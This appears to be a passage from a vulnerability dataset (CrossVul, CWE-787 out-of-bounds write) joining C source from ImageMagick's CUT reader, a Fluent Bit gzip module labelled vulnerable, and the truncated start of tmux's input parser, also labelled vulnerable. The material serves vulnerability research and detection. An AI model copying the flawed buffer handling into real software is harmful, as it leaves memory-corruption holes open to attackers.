RunCountMasked; offset=SeekBlob(image,TellBlob(image)+i,SEEK_SET); if (offset < 0) ThrowCUTReaderException(CorruptImageError,"ImproperImageHeader"); if(EOFBlob(image) != MagickFalse) goto CUT_KO; /*wrong data*/ EncodedByte-=i+1; ldblk+=(ssize_t) RunCountMasked; RunCount=(unsigned char) ReadBlobByte(image); if(EOFBlob(image) != MagickFalse) goto CUT_KO; /*wrong data: unexpected eof in line*/ RunCountMasked=RunCount & 0x7F; } if(EncodedByte!=1) goto CUT_KO; /*wrong data: size incorrect*/ i=0; /*guess a number of bit planes*/ if(ldblk==(int) Header.Width) i=8; if(2*ldblk==(int) Header.Width) i=4; if(8*ldblk==(int) Header.Width) i=1; if(i==0) goto CUT_KO; /*wrong data: incorrect bit planes*/ depth=i; image->columns=Header.Width; image->rows=Header.Height; image->depth=8; image->colors=(size_t) (GetQuantumRange(1UL*i)+1); if (image_info->ping != MagickFalse) goto Finish; status=SetImageExtent(image,image->columns,image->rows,exception); if (status == MagickFalse) { if (palette != NULL) palette=DestroyImage(palette); if (clone_info != NULL) clone_info=DestroyImageInfo(clone_info); return(DestroyImageList(image)); } /* ----- Do something with palette ----- */ if ((clone_info=CloneImageInfo(image_info)) == NULL) goto NoPalette; i=(ssize_t) strlen(clone_info->filename); j=i; while(--i>0) { if(clone_info->filename[i]=='.') { break; } if(clone_info->filename[i]=='/' || clone_info->filename[i]=='\\' || clone_info->filename[i]==':' ) { i=j; break; } } (void) CopyMagickString(clone_info->filename+i,".PAL",(size_t) (MagickPathExtent-i)); if((clone_info->file=fopen_utf8(clone_info->filename,"rb"))==NULL) { (void) CopyMagickString(clone_info->filename+i,".pal",(size_t) (MagickPathExtent-i)); if((clone_info->file=fopen_utf8(clone_info->filename,"rb"))==NULL) { clone_info->filename[i]='\0'; if((clone_info->file=fopen_utf8(clone_info->filename,"rb"))==NULL) { clone_info=DestroyImageInfo(clone_info); clone_info=NULL; goto NoPalette; } } } if( (palette=AcquireImage(clone_info,exception))==NULL ) goto NoPalette; status=OpenBlob(clone_info,palette,ReadBinaryBlobMode,exception); if (status == MagickFalse) { ErasePalette: palette=DestroyImage(palette); palette=NULL; goto NoPalette; } if(palette!=NULL) { (void) ReadBlob(palette,2,(unsigned char *) PalHeader.FileId); if(strncmp(PalHeader.FileId,"AH",2) != 0) goto ErasePalette; PalHeader.Version=ReadBlobLSBShort(palette); PalHeader.Size=ReadBlobLSBShort(palette); PalHeader.FileType=(char) ReadBlobByte(palette); PalHeader.SubType=(char) ReadBlobByte(palette); PalHeader.BoardID=ReadBlobLSBShort(palette); PalHeader.GraphicsMode=ReadBlobLSBShort(palette); PalHeader.MaxIndex=ReadBlobLSBShort(palette); PalHeader.MaxRed=ReadBlobLSBShort(palette); PalHeader.MaxGreen=ReadBlobLSBShort(palette); PalHeader.MaxBlue=ReadBlobLSBShort(palette); (void) ReadBlob(palette,20,(unsigned char *) PalHeader.PaletteId); if (EOFBlob(image)) ThrowCUTReaderException(CorruptImageError,"UnexpectedEndOfFile"); if(PalHeader.MaxIndex<1) goto ErasePalette; image->colors=PalHeader.MaxIndex+1; if (AcquireImageColormap(image,image->colors,exception) == MagickFalse) goto NoMemory; if(PalHeader.MaxRed==0) PalHeader.MaxRed=(unsigned int) QuantumRange; /*avoid division by 0*/ if(PalHeader.MaxGreen==0) PalHeader.MaxGreen=(unsigned int) QuantumRange; if(PalHeader.MaxBlue==0) PalHeader.MaxBlue=(unsigned int) QuantumRange; for(i=0;i<=(int) PalHeader.MaxIndex;i++) { /*this may be wrong- I don't know why is palette such strange*/ j=(ssize_t) TellBlob(palette); if((j % 512)>512-6) { j=((j / 512)+1)*512; offset=SeekBlob(palette,j,SEEK_SET); if (offset < 0) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); } image->colormap[i].red=(Quantum) ReadBlobLSBShort(palette); if (QuantumRange != (Quantum) PalHeader.MaxRed) { image->colormap[i].red=ClampToQuantum(((double) image->colormap[i].red*QuantumRange+(PalHeader.MaxRed>>1))/ PalHeader.MaxRed); } image->colormap[i].green=(Quantum) ReadBlobLSBShort(palette); if (QuantumRange != (Quantum) PalHeader.MaxGreen) { image->colormap[i].green=ClampToQuantum (((double) image->colormap[i].green*QuantumRange+(PalHeader.MaxGreen>>1))/PalHeader.MaxGreen); } image->colormap[i].blue=(Quantum) ReadBlobLSBShort(palette); if (QuantumRange != (Quantum) PalHeader.MaxBlue) { image->colormap[i].blue=ClampToQuantum (((double)image->colormap[i].blue*QuantumRange+(PalHeader.MaxBlue>>1))/PalHeader.MaxBlue); } } if (EOFBlob(image)) ThrowCUTReaderException(CorruptImageError,"UnexpectedEndOfFile"); } NoPalette: if(palette==NULL) { image->colors=256; if (AcquireImageColormap(image,image->colors,exception) == MagickFalse) { NoMemory: ThrowCUTReaderException(ResourceLimitError,"MemoryAllocationFailed"); } for (i=0; i < (ssize_t)image->colors; i++) { image->colormap[i].red=ScaleCharToQuantum((unsigned char) i); image->colormap[i].green=ScaleCharToQuantum((unsigned char) i); image->colormap[i].blue=ScaleCharToQuantum((unsigned char) i); } } /* ----- Load RLE compressed raster ----- */ BImgBuff=(unsigned char *) AcquireQuantumMemory((size_t) ldblk, sizeof(*BImgBuff)); /*Ldblk was set in the check phase*/ if(BImgBuff==NULL) goto NoMemory; offset=SeekBlob(image,6 /*sizeof(Header)*/,SEEK_SET); if (offset < 0) { if (palette != NULL) palette=DestroyImage(palette); if (clone_info != NULL) clone_info=DestroyImageInfo(clone_info); BImgBuff=(unsigned char *) RelinquishMagickMemory(BImgBuff); ThrowReaderException(CorruptImageError,"ImproperImageHeader"); } for (i=0; i < (int) Header.Height; i++) { EncodedByte=ReadBlobLSBShort(image); ptrB=BImgBuff; j=ldblk; RunCount=(unsigned char) ReadBlobByte(image); RunCountMasked=RunCount & 0x7F; while ((int) RunCountMasked != 0) { if((ssize_t) RunCountMasked>j) { /*Wrong Data*/ RunCountMasked=(unsigned char) j; if(j==0) { break; } } if((int) RunCount>0x80) { RunValue=(unsigned char) ReadBlobByte(image); (void) memset(ptrB,(int) RunValue,(size_t) RunCountMasked); } else { (void) ReadBlob(image,(size_t) RunCountMasked,ptrB); } ptrB+=(int) RunCountMasked; j-=(int) RunCountMasked; if (EOFBlob(image) != MagickFalse) goto Finish; /* wrong data: unexpected eof in line */ RunCount=(unsigned char) ReadBlobByte(image); RunCountMasked=RunCount & 0x7F; } InsertRow(image,depth,BImgBuff,i,exception); } (void) SyncImage(image,exception); /*detect monochrome image*/ if(palette==NULL) { /*attempt to detect binary (black&white) images*/ if ((image->storage_class == PseudoClass) && (SetImageGray(image,exception) != MagickFalse)) { if(GetCutColors(image,exception)==2) { for (i=0; i < (ssize_t)image->colors; i++) { register Quantum sample; sample=ScaleCharToQuantum((unsigned char) i); if(image->colormap[i].red!=sample) goto Finish; if(image->colormap[i].green!=sample) goto Finish; if(image->colormap[i].blue!=sample) goto Finish; } image->colormap[1].red=image->colormap[1].green= image->colormap[1].blue=QuantumRange; for (i=0; i < (ssize_t)image->rows; i++) { q=QueueAuthenticPixels(image,0,i,image->columns,1,exception); if (q == (Quantum *) NULL) break; for (j=0; j < (ssize_t)image->columns; j++) { if (GetPixelRed(image,q) == ScaleCharToQuantum(1)) { SetPixelRed(image,QuantumRange,q); SetPixelGreen(image,QuantumRange,q); SetPixelBlue(image,QuantumRange,q); } q+=GetPixelChannels(image); } if (SyncAuthenticPixels(image,exception) == MagickFalse) goto Finish; } } } } Finish: if (BImgBuff != NULL) BImgBuff=(unsigned char *) RelinquishMagickMemory(BImgBuff); if (palette != NULL) palette=DestroyImage(palette); if (clone_info != NULL) clone_info=DestroyImageInfo(clone_info); if (EOFBlob(image) != MagickFalse) ThrowFileException(exception,CorruptImageError,"UnexpectedEndOfFile", image->filename); (void) CloseBlob(image); return(GetFirstImageInList(image)); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % R e g i s t e r C U T I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % RegisterCUTImage() adds attributes for the CUT image format to % the list of supported formats. The attributes include the image format % tag, a method to read and/or write the format, whether the format % supports the saving of more than one frame to the same file or blob, % whether the format supports native in-memory I/O, and a brief % description of the format. % % The format of the RegisterCUTImage method is: % % size_t RegisterCUTImage(void) % */ ModuleExport size_t RegisterCUTImage(void) { MagickInfo *entry; entry=AcquireMagickInfo("CUT","CUT","DR Halo"); entry->decoder=(DecodeImageHandler *) ReadCUTImage; entry->flags|=CoderDecoderSeekableStreamFlag; (void) RegisterMagickInfo(entry); return(MagickImageCoderSignature); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % U n r e g i s t e r C U T I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % UnregisterCUTImage() removes format registrations made by the % CUT module from the list of supported formats. % % The format of the UnregisterCUTImage method is: % % UnregisterCUTImage(void) % */ ModuleExport void UnregisterCUTImage(void) { (void) UnregisterMagickInfo("CUT"); }
./CrossVul/dataset_final_sorted/CWE-787/c/good_363_0
crossvul-cpp_data_bad_4483_0
/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* Fluent Bit * ========== * Copyright (C) 2019-2020 The Fluent Bit Authors * Copyright (C) 2015-2018 Treasure Data Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <fluent-bit/flb_info.h> #include <fluent-bit/flb_mem.h> #include <fluent-bit/flb_log.h> #include <fluent-bit/flb_gzip.h> #include <miniz/miniz.h> #define FLB_GZIP_HEADER_OFFSET 10 typedef enum { FTEXT = 1, FHCRC = 2, FEXTRA = 4, FNAME = 8, FCOMMENT = 16 } flb_tinf_gzip_flag; static unsigned int read_le16(const unsigned char *p) { return ((unsigned int) p[0]) | ((unsigned int) p[1] << 8); } static unsigned int read_le32(const unsigned char *p) { return ((unsigned int) p[0]) | ((unsigned int) p[1] << 8) | ((unsigned int) p[2] << 16) | ((unsigned int) p[3] << 24); } static inline void gzip_header(void *buf) { uint8_t *p; /* GZip Magic bytes */ p = buf; *p++ = 0x1F; *p++ = 0x8B; *p++ = 8; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0xFF; } int flb_gzip_compress(void *in_data, size_t in_len, void **out_data, size_t *out_len) { int flush; int status; int footer_start; uint8_t *pb; size_t out_size; void *out_buf; z_stream strm; mz_ulong crc; out_size = in_len + 32; out_buf = flb_malloc(out_size); if (!out_buf) { flb_errno(); flb_error("[gzip] could not allocate outgoing buffer"); return -1; } /* Initialize streaming buffer context */ memset(&strm, '\0', sizeof(strm)); strm.zalloc = Z_NULL; strm.zfree = Z_NULL; strm.opaque = Z_NULL; strm.next_in = in_data; strm.avail_in = in_len; strm.total_out = 0; /* Deflate mode */ deflateInit2(&strm, Z_DEFAULT_COMPRESSION, Z_DEFLATED, -Z_DEFAULT_WINDOW_BITS, 9, Z_DEFAULT_STRATEGY); /* * Miniz don't support GZip format directly, instead we will: * * - append manual GZip magic bytes * - deflate raw content * - append manual CRC32 data */ gzip_header(out_buf); /* Header offset */ pb = (uint8_t *) out_buf + FLB_GZIP_HEADER_OFFSET; flush = Z_NO_FLUSH; while (1) { strm.next_out = pb + strm.total_out; strm.avail_out = out_size - (pb - (uint8_t *) out_buf); if (strm.avail_in == 0) { flush = Z_FINISH; } status = deflate(&strm, flush); if (status == Z_STREAM_END) { break; } else if (status != Z_OK) { deflateEnd(&strm); return -1; } } if (deflateEnd(&strm) != Z_OK) { flb_free(out_buf); return -1; } *out_len = strm.total_out; /* Construct the gzip checksum (CRC32 footer) */ footer_start = FLB_GZIP_HEADER_OFFSET + *out_len; pb = (uint8_t *) out_buf + footer_start; crc = mz_crc32(MZ_CRC32_INIT, in_data, in_len); *pb++ = crc & 0xFF; *pb++ = (crc >> 8) & 0xFF; *pb++ = (crc >> 16) & 0xFF; *pb++ = (crc >> 24) & 0xFF; *pb++ = in_len & 0xFF; *pb++ = (in_len >> 8) & 0xFF; *pb++ = (in_len >> 16) & 0xFF; *pb++ = (in_len >> 24) & 0xFF; /* Set the real buffer size for the caller */ *out_len += FLB_GZIP_HEADER_OFFSET + 8; *out_data = out_buf; return 0; } /* Uncompress (inflate) GZip data */ int flb_gzip_uncompress(void *in_data, size_t in_len, void **out_data, size_t *out_len) { int status; uint8_t *p; void *out_buf; size_t out_size = 0; void *zip_data; size_t zip_len; unsigned char flg; unsigned int xlen, hcrc; unsigned int dlen, crc; mz_ulong crc_out; mz_stream stream; const unsigned char *start; /* Minimal length: header + crc32 */ if (in_len < 18) { flb_error("[gzip] unexpected content length"); return -1; } /* Magic bytes */ p = in_data; if (p[0] != 0x1F || p[1] != 0x8B) { flb_error("[gzip] invalid magic bytes"); return -1; } if (p[2] != 8) { flb_error("[gzip] invalid method"); return -1; } /* Flag byte */ flg = p[3]; /* Reserved bits */ if (flg & 0xE0) { flb_error("[gzip] invalid flag"); return -1; } /* Skip base header of 10 bytes */ start = p + FLB_GZIP_HEADER_OFFSET; /* Skip extra data if present */ if (flg & FEXTRA) { xlen = read_le16(start); if (xlen > in_len - 12) { flb_error("[gzip] invalid gzip data"); return -1; } start += xlen + 2; } /* Skip file name if present */ if (flg & FNAME) { do { if (start - p >= in_len) { flb_error("[gzip] invalid gzip data (FNAME)"); return -1; } } while (*start++); } /* Skip file comment if present */ if (flg & FCOMMENT) { do { if (start - p >= in_len) { flb_error("[gzip] invalid gzip data (FCOMMENT)"); return -1; } } while (*start++); } /* Check header crc if present */ if (flg & FHCRC) { if (start - p > in_len - 2) { flb_error("[gzip] invalid gzip data (FHRC)"); return -1; } hcrc = read_le16(start); crc = mz_crc32(MZ_CRC32_INIT, p, start - p) & 0x0000FFFF; if (hcrc != crc) { flb_error("[gzip] invalid gzip header CRC"); return -1; } start += 2; } /* Get decompressed length */ dlen = read_le32(&p[in_len - 4]); /* Get CRC32 checksum of original data */ crc = read_le32(&p[in_len - 8]); /* Decompress data */ if ((p + in_len) - p < 8) { flb_error("[gzip] invalid gzip CRC32 checksum"); return -1; } /* Allocate outgoing buffer */ out_buf = flb_malloc(dlen); if (!out_buf) { flb_errno(); return -1; } out_size = dlen; /* Map zip content */ zip_data = (uint8_t *) start; zip_len = (p + in_len) - start - 8; memset(&stream, 0, sizeof(stream)); stream.next_in = zip_data; stream.avail_in = zip_len; stream.next_out = out_buf; stream.avail_out = out_size; status = mz_inflateInit2(&stream, -Z_DEFAULT_WINDOW_BITS); if (status != MZ_OK) { flb_free(out_buf); return -1; } status = mz_inflate(&stream, MZ_FINISH); if (status != MZ_STREAM_END) { mz_inflateEnd(&stream); flb_free(out_buf); return -1; } if (stream.total_out != dlen) { mz_inflateEnd(&stream); flb_free(out_buf); flb_error("[gzip] invalid gzip data size"); return -1; } /* terminate the stream, it's not longer required */ mz_inflateEnd(&stream); /* Validate message CRC vs inflated data CRC */ crc_out = mz_crc32(MZ_CRC32_INIT, out_buf, dlen); if (crc_out != crc) { flb_free(out_buf); flb_error("[gzip] invalid GZip checksum (CRC32)"); return -1; } /* set the uncompressed data */ *out_len = dlen; *out_data = out_buf; return 0; }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_4483_0
crossvul-cpp_data_bad_4410_0
/* $OpenBSD$ */ /* * Copyright (c) 2007 Nicholas Marriott <nicholas.marriott@gmail.com> * * Permission to use, copy, modify, and distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF MIND, USE, DATA OR PROFITS, WHETHER * IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING * OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include <sys/types.h> #include <netinet/in.h> #include <ctype.h> #include <resolv.h> #include <stdlib.h> #include <string.h> #include <time.h> #include "tmux.h" /* * Based on the description by Paul Williams at: * * https://vt100.net/emu/dec_ansi_parser * * With the following changes: * * - 7-bit only. * * - Support for UTF-8. * * - OSC (but not APC) may be terminated by \007 as well as ST. * * - A state for APC similar to OSC. Some terminals appear to use this to set * the title. * * - A state for the screen \033k...\033\\ sequence to rename a window. This is * pretty stupid but not supporting it is more trouble than it is worth. * * - Special handling for ESC inside a DCS to allow arbitrary byte sequences to * be passed to the underlying terminals. */ /* Input parser cell. */ struct input_cell { struct grid_cell cell; int set; int g0set; /* 1 if ACS */ int g1set; /* 1 if ACS */ }; /* Input parser argument. */ struct input_param { enum { INPUT_MISSING, INPUT_NUMBER, INPUT_STRING } type; union { int num; char *str; }; }; /* Input parser context. */ struct input_ctx { struct window_pane *wp; struct bufferevent *event; struct screen_write_ctx ctx; struct input_cell cell; struct input_cell old_cell; u_int old_cx; u_int old_cy; int old_mode; u_char interm_buf[4]; size_t interm_len; u_char param_buf[64]; size_t param_len; #define INPUT_BUF_START 32 #define INPUT_BUF_LIMIT 1048576 u_char *input_buf; size_t input_len; size_t input_space; enum { INPUT_END_ST, INPUT_END_BEL } input_end; struct input_param param_list[24]; u_int param_list_len; struct utf8_data utf8data; int utf8started; int ch; int last; int flags; #define INPUT_DISCARD 0x1 const struct input_state *state; struct event timer; /* * All input received since we were last in the ground state. Sent to * control clients on connection. */ struct evbuffer *since_ground; }; /* Helper functions. */ struct input_transition; static int input_split(struct input_ctx *); static int input_get(struct input_ctx *, u_int, int, int); static void printflike(2, 3) input_reply(struct input_ctx *, const char *, ...); static void input_set_state(struct input_ctx *, const struct input_transition *); static void input_reset_cell(struct input_ctx *); static void input_osc_4(struct input_ctx *, const char *); static void input_osc_10(struct input_ctx *, const char *); static void input_osc_11(struct input_ctx *, const char *); static void input_osc_52(struct input_ctx *, const char *); static void input_osc_104(struct input_ctx *, const char *); /* Transition entry/exit handlers. */ static void input_clear(struct input_ctx *); static void input_ground(struct input_ctx *); static void input_enter_dcs(struct input_ctx *); static void input_enter_osc(struct input_ctx *); static void input_exit_osc(struct input_ctx *); static void input_enter_apc(struct input_ctx *); static void input_exit_apc(struct input_ctx *); static void input_enter_rename(struct input_ctx *); static void input_exit_rename(struct input_ctx *); /* Input state handlers. */ static int input_print(struct input_ctx *); static int input_intermediate(struct input_ctx *); static int input_parameter(struct input_ctx *); static int input_input(struct input_ctx *); static int input_c0_dispatch(struct input_ctx *); static int input_esc_dispatch(struct input_ctx *); static int input_csi_dispatch(struct input_ctx *); static void input_csi_dispatch_rm(struct input_ctx *); static void input_csi_dispatch_rm_private(struct input_ctx *); static void input_csi_dispatch_sm(struct input_ctx *); static void input_csi_dispatch_sm_private(struct input_ctx *); static void input_csi_dispatch_winops(struct input_ctx *); static void input_csi_dispatch_sgr_256(struct input_ctx *, int, u_int *); static void input_csi_dispatch_sgr_rgb(struct input_ctx *, int, u_int *); static void input_csi_dispatch_sgr(struct input_ctx *); static int input_dcs_dispatch(struct input_ctx *); static int input_top_bit_set(struct input_ctx *); static int input_end_bel(struct input_ctx *); /* Command table comparison function. */ static int input_table_compare(const void *, const void *); /* Command table entry. */ struct input_table_entry { int ch; const char *interm; int type; }; /* Escape commands. */ enum input_esc_type { INPUT_ESC_DECALN, INPUT_ESC_DECKPAM, INPUT_ESC_DECKPNM, INPUT_ESC_DECRC, INPUT_ESC_DECSC, INPUT_ESC_HTS, INPUT_ESC_IND, INPUT_ESC_NEL, INPUT_ESC_RI, INPUT_ESC_RIS, INPUT_ESC_SCSG0_OFF, INPUT_ESC_SCSG0_ON, INPUT_ESC_SCSG1_OFF, INPUT_ESC_SCSG1_ON, INPUT_ESC_ST, }; /* Escape command table. */ static const struct input_table_entry input_esc_table[] = { { '0', "(", INPUT_ESC_SCSG0_ON }, { '0', ")", INPUT_ESC_SCSG1_ON }, { '7', "", INPUT_ESC_DECSC }, { '8', "", INPUT_ESC_DECRC }, { '8', "#", INPUT_ESC_DECALN }, { '=', "", INPUT_ESC_DECKPAM }, { '>', "", INPUT_ESC_DECKPNM }, { 'B', "(", INPUT_ESC_SCSG0_OFF }, { 'B', ")", INPUT_ESC_SCSG1_OFF }, { 'D', "", INPUT_ESC_IND }, { 'E', "", INPUT_ESC_NEL }, { 'H', "", INPUT_ESC_HTS }, { 'M', "", INPUT_ESC_RI }, { '\\', "", INPUT_ESC_ST }, { 'c', "", INPUT_ESC_RIS }, }; /* Control (CSI) commands. */ enum input_csi_type { INPUT_CSI_CBT, INPUT_CSI_CNL, INPUT_CSI_CPL, INPUT_CSI_CUB, INPUT_CSI_CUD, INPUT_CSI_CUF, INPUT_CSI_CUP, INPUT_CSI_CUU, INPUT_CSI_DA, INPUT_CSI_DA_TWO, INPUT_CSI_DCH, INPUT_CSI_DECSCUSR, INPUT_CSI_DECSTBM, INPUT_CSI_DL, INPUT_CSI_DSR, INPUT_CSI_ECH, INPUT_CSI_ED, INPUT_CSI_EL, INPUT_CSI_HPA, INPUT_CSI_ICH, INPUT_CSI_IL, INPUT_CSI_MODOFF, INPUT_CSI_MODSET, INPUT_CSI_RCP, INPUT_CSI_REP, INPUT_CSI_RM, INPUT_CSI_RM_PRIVATE, INPUT_CSI_SCP, INPUT_CSI_SD, INPUT_CSI_SGR, INPUT_CSI_SM, INPUT_CSI_SM_PRIVATE, INPUT_CSI_SU, INPUT_CSI_TBC, INPUT_CSI_VPA, INPUT_CSI_WINOPS, INPUT_CSI_XDA, }; /* Control (CSI) command table. */ static const struct input_table_entry input_csi_table[] = { { '@', "", INPUT_CSI_ICH }, { 'A', "", INPUT_CSI_CUU }, { 'B', "", INPUT_CSI_CUD }, { 'C', "", INPUT_CSI_CUF }, { 'D', "", INPUT_CSI_CUB }, { 'E', "", INPUT_CSI_CNL }, { 'F', "", INPUT_CSI_CPL }, { 'G', "", INPUT_CSI_HPA }, { 'H', "", INPUT_CSI_CUP }, { 'J', "", INPUT_CSI_ED }, { 'K', "", INPUT_CSI_EL }, { 'L', "", INPUT_CSI_IL }, { 'M', "", INPUT_CSI_DL }, { 'P', "", INPUT_CSI_DCH }, { 'S', "", INPUT_CSI_SU }, { 'T', "", INPUT_CSI_SD }, { 'X', "", INPUT_CSI_ECH }, { 'Z', "", INPUT_CSI_CBT }, { '`', "", INPUT_CSI_HPA }, { 'b', "", INPUT_CSI_REP }, { 'c', "", INPUT_CSI_DA }, { 'c', ">", INPUT_CSI_DA_TWO }, { 'd', "", INPUT_CSI_VPA }, { 'f', "", INPUT_CSI_CUP }, { 'g', "", INPUT_CSI_TBC }, { 'h', "", INPUT_CSI_SM }, { 'h', "?", INPUT_CSI_SM_PRIVATE }, { 'l', "", INPUT_CSI_RM }, { 'l', "?", INPUT_CSI_RM_PRIVATE }, { 'm', "", INPUT_CSI_SGR }, { 'm', ">", INPUT_CSI_MODSET }, { 'n', "", INPUT_CSI_DSR }, { 'n', ">", INPUT_CSI_MODOFF }, { 'q', " ", INPUT_CSI_DECSCUSR }, { 'q', ">", INPUT_CSI_XDA }, { 'r', "", INPUT_CSI_DECSTBM }, { 's', "", INPUT_CSI_SCP }, { 't', "", INPUT_CSI_WINOPS }, { 'u', "", INPUT_CSI_RCP }, }; /* Input transition. */ struct input_transition { int first; int last; int (*handler)(struct input_ctx *); const struct input_state *state; }; /* Input state. */ struct input_state { const char *name; void (*enter)(struct input_ctx *); void (*exit)(struct input_ctx *); const struct input_transition *transitions; }; /* State transitions available from all states. */ #define INPUT_STATE_ANYWHERE \ { 0x18, 0x18, input_c0_dispatch, &input_state_ground }, \ { 0x1a, 0x1a, input_c0_dispatch, &input_state_ground }, \ { 0x1b, 0x1b, NULL, &input_state_esc_enter } /* Forward declarations of state tables. */ static const struct input_transition input_state_ground_table[]; static const struct input_transition input_state_esc_enter_table[]; static const struct input_transition input_state_esc_intermediate_table[]; static const struct input_transition input_state_csi_enter_table[]; static const struct input_transition input_state_csi_parameter_table[]; static const struct input_transition input_state_csi_intermediate_table[]; static const struct input_transition input_state_csi_ignore_table[]; static const struct input_transition input_state_dcs_enter_table[]; static const struct input_transition input_state_dcs_parameter_table[]; static const struct input_transition input_state_dcs_intermediate_table[]; static const struct input_transition input_state_dcs_handler_table[]; static const struct input_transition input_state_dcs_escape_table[]; static const struct input_transition input_state_dcs_ignore_table[]; static const struct input_transition input_state_osc_string_table[]; static const struct input_transition input_state_apc_string_table[]; static const struct input_transition input_state_rename_string_table[]; static const struct input_transition input_state_consume_st_table[]; /* ground state definition. */ static const struct input_state input_state_ground = { "ground", input_ground, NULL, input_state_ground_table }; /* esc_enter state definition. */ static const struct input_state input_state_esc_enter = { "esc_enter", input_clear, NULL, input_state_esc_enter_table }; /* esc_intermediate state definition. */ static const struct input_state input_state_esc_intermediate = { "esc_intermediate", NULL, NULL, input_state_esc_intermediate_table }; /* csi_enter state definition. */ static const struct input_state input_state_csi_enter = { "csi_enter", input_clear, NULL, input_state_csi_enter_table }; /* csi_parameter state definition. */ static const struct input_state input_state_csi_parameter = { "csi_parameter", NULL, NULL, input_state_csi_parameter_table }; /* csi_intermediate state definition. */ static const struct input_state input_state_csi_intermediate = { "csi_intermediate", NULL, NULL, input_state_csi_intermediate_table }; /* csi_ignore state definition. */ static const struct input_state input_state_csi_ignore = { "csi_ignore", NULL, NULL, input_state_csi_ignore_table }; /* dcs_enter state definition. */ static const struct input_state input_state_dcs_enter = { "dcs_enter", input_enter_dcs, NULL, input_state_dcs_enter_table }; /* dcs_parameter state definition. */ static const struct input_state input_state_dcs_parameter = { "dcs_parameter", NULL, NULL, input_state_dcs_parameter_table }; /* dcs_intermediate state definition. */ static const struct input_state input_state_dcs_intermediate = { "dcs_intermediate", NULL, NULL, input_state_dcs_intermediate_table }; /* dcs_handler state definition. */ static const struct input_state input_state_dcs_handler = { "dcs_handler", NULL, NULL, input_state_dcs_handler_table }; /* dcs_escape state definition. */ static const struct input_state input_state_dcs_escape = { "dcs_escape", NULL, NULL, input_state_dcs_escape_table }; /* dcs_ignore state definition. */ static const struct input_state input_state_dcs_ignore = { "dcs_ignore", NULL, NULL, input_state_dcs_ignore_table }; /* osc_string state definition. */ static const struct input_state input_state_osc_string = { "osc_string", input_enter_osc, input_exit_osc, input_state_osc_string_table }; /* apc_string state definition. */ static const struct input_state input_state_apc_string = { "apc_string", input_enter_apc, input_exit_apc, input_state_apc_string_table }; /* rename_string state definition. */ static const struct input_state input_state_rename_string = { "rename_string", input_enter_rename, input_exit_rename, input_state_rename_string_table }; /* consume_st state definition. */ static const struct input_state input_state_consume_st = { "consume_st", input_enter_rename, NULL, /* rename also waits for ST */ input_state_consume_st_table }; /* ground state table. */ static const struct input_transition input_state_ground_table[] = { INPUT_STATE_ANYWHERE, { 0x00, 0x17, input_c0_dispatch, NULL }, { 0x19, 0x19, input_c0_dispatch, NULL }, { 0x1c, 0x1f, input_c0_dispatch, NULL }, { 0x20, 0x7e, input_print, NULL }, { 0x7f, 0x7f, NULL, NULL }, { 0x80, 0xff, input_top_bit_set, NULL }, { -1, -1, NULL, NULL } }; /* esc_enter state table. */ static const struct input_transition input_state_esc_enter_table[] = { INPUT_STATE_ANYWHERE, { 0x00, 0x17, input_c0_dispatch, NULL }, { 0x19, 0x19, input_c0_dispatch, NULL }, { 0x1c, 0x1f, input_c0_dispatch, NULL }, { 0x20, 0x2f, input_intermediate, &input_state_esc_intermediate }, { 0x30, 0x4f, input_esc_dispatch, &input_state_ground }, { 0x50, 0x50, NULL, &input_state_dcs_enter }, { 0x51, 0x57, input_esc_dispatch, &input_state_ground }, { 0x58, 0x58, NULL, &input_state_consume_st }, { 0x59, 0x59, input_esc_dispatch, &input_state_ground }, { 0x5a, 0x5a, input_esc_dispatch, &input_state_ground }, { 0x5b, 0x5b, NULL, &input_state_csi_enter }, { 0x5c, 0x5c, input_esc_dispatch, &input_state_ground }, { 0x5d, 0x5d, NULL, &input_state_osc_string }, { 0x5e, 0x5e, NULL, &input_state_consume_st }, { 0x5f, 0x5f, NULL, &input_state_apc_string }, { 0x60, 0x6a, input_esc_dispatch, &input_state_ground }, { 0x6b, 0x6b, NULL, &input_state_rename_string }, { 0x6c, 0x7e, input_esc_dispatch, &input_state_ground }, { 0x7f, 0xff, NULL, NULL }, { -1, -1, NULL, NULL } }; /* esc_intermediate state table. */ static const struct input_transition input_state_esc_intermediate_table[] = { INPUT_STATE_ANYWHERE, { 0x00, 0x17, input_c0_dispatch, NULL }, { 0x19, 0x19, input_c0_dispatch, NULL }, { 0x1c, 0x1f, input_c0_dispatch, NULL }, { 0x20, 0x2f, input_intermediate, NULL }, { 0x30, 0x7e, input_esc_dispatch, &input_state_ground }, { 0x7f, 0xff, NULL, NULL }, { -1, 